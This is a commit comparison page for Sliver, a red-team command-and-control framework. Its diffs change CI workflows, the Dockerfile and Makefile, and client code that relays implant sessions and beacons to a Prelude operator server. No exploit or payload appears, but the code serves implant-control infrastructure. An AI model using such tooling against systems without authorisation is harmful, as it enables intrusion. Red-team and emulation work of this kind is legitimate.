Compare commits

..
Author SHA1 Message Date
rkervella b65ee3144e Merge branch 'master' into prelude/stage 2022-09-04 09:24:28 -07:00
rkervella b5c6edffec Merge branch 'master' into prelude/stage 2022-09-01 13:04:49 -07:00
rkervella 9352b4b39c Merge branch 'master' into prelude/stage 2022-09-01 13:02:42 -07:00
rkervella e98b1d5222 Major refactor 2022-08-31 16:07:24 -07:00
rkervella 34c5fe545c Fix call order and add safety check 2022-08-30 14:13:29 -07:00
rkervella cb264f1a4d Add license 2022-08-30 13:54:02 -07:00
rkervella 15763fc2b6 Fix parsing, remove old BOF code 2022-08-30 13:49:02 -07:00
rkervella e959bdc54b Remove deprecated "keyword" executor 2022-08-30 13:30:29 -07:00
rkervella eaae285f4b Reworked extension support for prelude 2022-08-30 12:52:46 -07:00
rkervella 562cc49500 Complete refactor of extensions. 2022-08-30 10:36:13 -07:00
rkervella fff3405d29 Fix name 2022-08-29 11:52:27 -07:00
rkervella 24606aaa8f Remove commented code 2022-08-29 10:16:17 -07:00
rkervella fb5866aba1 Refactor extensions 2022-08-29 09:44:19 -07:00
rkervella 9a411a3290 Refactor extensions 2022-08-29 09:20:04 -07:00
rkervella c29f1c3be6 Merge branch 'master' into prelude/stage 2022-08-29 08:24:25 -07:00
rkervella 7f15c56449 Remove range 2022-08-28 09:20:42 -07:00
rkervella 8fc1f1f00b Remove range, fix command description 2022-08-28 09:19:08 -07:00
Ronan Kervella 4a5ec4afae Merge pull request #805 from BishopFox/prelude/client-daemon
Prelude/client daemon
2022-08-28 09:11:44 -07:00
moloch-- fb5303ef04 Implemented callback map 2022-08-28 08:03:39 -07:00
moloch-- d6a7c024f8 Merge branch 'prelude/stage' into prelude/client-daemon 2022-08-28 07:57:58 -07:00
moloch-- 2adf0e8cb0 Initial refactor 2022-08-27 07:21:53 -07:00
rkervella c2cacb5e1e Merge branch 'master' into prelude/stage 2022-08-26 14:01:37 -07:00
rkervella d7e0293647 WIP extensions 2022-08-25 10:59:49 -07:00
rkervella 82d500ceec Merge branch 'master' into fix/prelude 2022-08-24 14:03:27 -07:00
rkervella a3f5dcd54a WIP prelude update 2022-08-24 11:03:56 -07:00
rkervella 37ff504164 WIP 2022-08-23 17:33:55 -07:00
rkervella 552093c7b6 Fix Windows executor 2022-08-23 14:42:00 -07:00
rkervella 7a143c58e6 Remove useless call to a.GetID() 2022-08-23 14:41:46 -07:00
3162 changed files with 1173939 additions and 1656870 deletions

No files matched your search

+1 -1
View File
@@ -5,4 +5,4 @@ queries:
uses: security-extended
paths:
- server
- client
- implant
-16
View File
@@ -1,16 +0,0 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+112 -107
View File
@@ -3,58 +3,60 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
@@ -62,40 +64,42 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
@@ -104,52 +108,53 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
+29 -11
View File
@@ -4,25 +4,26 @@ on:
push:
branches:
- test/*
pull_request:
branches:
- master
# pull_request:
# branches:
# - master
jobs:
CodeQL-Build:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
# Setup go environment
- name: Go 1.19
uses: actions/setup-go@v3
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: "^1.19"
go-version: "1.18.5"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v2
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,15 +37,32 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v3
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -54,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
+47 -41
View File
@@ -1,5 +1,8 @@
name: Build & Test
on:
push:
branches:
- test/*
pull_request:
branches:
- master
@@ -10,67 +13,70 @@ on:
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
+5 -4
View File
@@ -1,4 +1,4 @@
FROM golang:1.19.3
FROM golang:1.18.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -52,10 +52,11 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+1 -7
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
@@ -99,12 +99,6 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
ifeq ($(MAKECMDGOALS), linux-arm64)
# Redefine TAGS/ENV to use pure go sqlite3
TAGS = -tags osusergo,netgo,gosqlite
ENV = CGO_ENABLED=0
endif
#
# Targets
#
+1 -1
View File
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
[![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
+1 -2
View File
@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
"os"
"path"
"path/filepath"
)
@@ -70,7 +69,7 @@ func GetConfigs() map[string]*ClientConfig {
confs := map[string]*ClientConfig{}
for _, confFile := range configFiles {
confFilePath := path.Join(configDir, confFile.Name())
confFilePath := filepath.Join(configDir, confFile.Name())
log.Printf("Parsing config %s", confFilePath)
conf, err := ReadConfig(confFilePath)
+20 -9
View File
@@ -35,12 +35,32 @@ import (
const (
logFileName = "sliver-client.log"
configFlagStr = "config"
preludeServerFlagStr = "server"
rangeFlagStr = "range"
aesKeyFlagStr = "aes-key"
)
var (
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
)
func init() {
// Import
rootCmd.AddCommand(cmdImport)
// Prelude
cmdPrelude.Flags().StringP(configFlagStr, "c", "", "sliver client config file path")
cmdPrelude.Flags().StringP(preludeServerFlagStr, "s", "", "prelude server connection string")
cmdPrelude.Flags().StringP(aesKeyFlagStr, "a", "", "AES key")
rootCmd.AddCommand(cmdPrelude)
// Version
rootCmd.AddCommand(cmdVersion)
}
// Initialize logging
func initLogging(appDir string) *os.File {
log.SetFlags(log.LstdFlags | log.Lshortfile)
@@ -52,15 +72,6 @@ func initLogging(appDir string) *os.File {
return logFile
}
func init() {
// Import
rootCmd.AddCommand(cmdImport)
// Version
rootCmd.AddCommand(cmdVersion)
}
var rootCmd = &cobra.Command{
Use: "sliver-client",
Short: "",
+124
View File
@@ -0,0 +1,124 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
"os"
"sync"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
var cmdPrelude = &cobra.Command{
Use: "prelude",
Short: "Start client as a Prelude bridge",
Long: ``,
Run: func(cmd *cobra.Command, args []string) {
confFilePath, err := cmd.Flags().GetString("config")
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
config, err := assets.ReadConfig(confFilePath)
if err != nil {
log.Printf("[!] Failed to read config file: %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
preludeServer, err := cmd.Flags().GetString(preludeServerFlagStr)
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
aesKey, err := cmd.Flags().GetString(aesKeyFlagStr)
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
fmt.Printf("Prelude relay mode, connecting to %s ... ", preludeServer)
log.Printf("Prelude relay mode, connecting to %s ...", preludeServer)
rpc, _, err := transport.MTLSConnect(config)
if err != nil {
log.Printf("[!] Failed to connect to server %s", err)
fmt.Printf("%s\n", err)
os.Exit(2)
}
fmt.Println("success!")
log.Printf("Connection successful")
preludeConfig := &prelude.OperatorConfig{
OperatorURL: preludeServer,
RPC: rpc,
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(preludeConfig)
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
log.Printf("[!] Could not get session list: %s", err)
os.Exit(3)
}
if len(sessions.Sessions) > 0 {
log.Printf("Adding existing sessions ...")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
log.Printf("[!] Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
log.Printf("Done !")
}
beacons, err := rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
log.Printf("[!] Could not get beacon list: %s", err)
os.Exit(3)
}
if len(beacons.Beacons) > 0 {
log.Printf("Adding existing beacons ...")
// I'm not sure this callback map is actually needed
type BeaconTaskCallback func(*clientpb.BeaconTask)
beaconTaskCallbacks := map[string]BeaconTaskCallback{}
beaconTaskCallbacksMutex := &sync.Mutex{}
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
beaconTaskCallbacksMutex.Lock()
defer beaconTaskCallbacksMutex.Unlock()
beaconTaskCallbacks[taskID] = cb
})
if err != nil {
log.Printf("[!] Could not add beacon %s to implant mapper: %s", beacon.Name, err)
}
}
}
},
}
+4 -3
View File
@@ -22,6 +22,7 @@ import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
@@ -141,7 +142,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
// parse it
data, err := os.ReadFile(manifestPath)
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
@@ -302,7 +303,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -310,7 +311,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = os.CreateTemp("", outFile)
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+3 -2
View File
@@ -29,9 +29,10 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
cmdExtensions "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
@@ -286,7 +287,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
if cmdExtensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
+8 -7
View File
@@ -28,8 +28,9 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
cmdExtensions "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
@@ -187,7 +188,7 @@ func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTP
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
if cmdExtensions.CmdExists(dep, con.App) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
@@ -293,17 +294,17 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install extension")
installPath, err := extensions.InstallFromFilePath(tmpFile.Name(), true)
if err != nil {
return err
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
if extensions.CmdExists(extCmd.Name, con.App) {
if cmdExtensions.CmdExists(extCmd.Name, con.App) {
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
cmdExtensions.ExtensionRegisterCommand(extCmd, con)
return nil
}
+1 -1
View File
@@ -22,8 +22,8 @@ import (
"regexp"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
)
+1 -1
View File
@@ -24,8 +24,8 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
)
+38 -9
View File
@@ -109,8 +109,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -120,7 +119,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -143,10 +141,42 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -156,9 +186,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
}
} else {
rowEntries = []string{
@@ -167,8 +196,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
}
}
// Build the row struct
-71
View File
@@ -1,71 +0,0 @@
package builders
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// BuildersCmd - List external builders
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if len(builders.Builders) == 0 {
con.PrintInfof("No external builders connected to server\n")
} else {
PrintBuilders(builders.Builders, con)
}
}
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
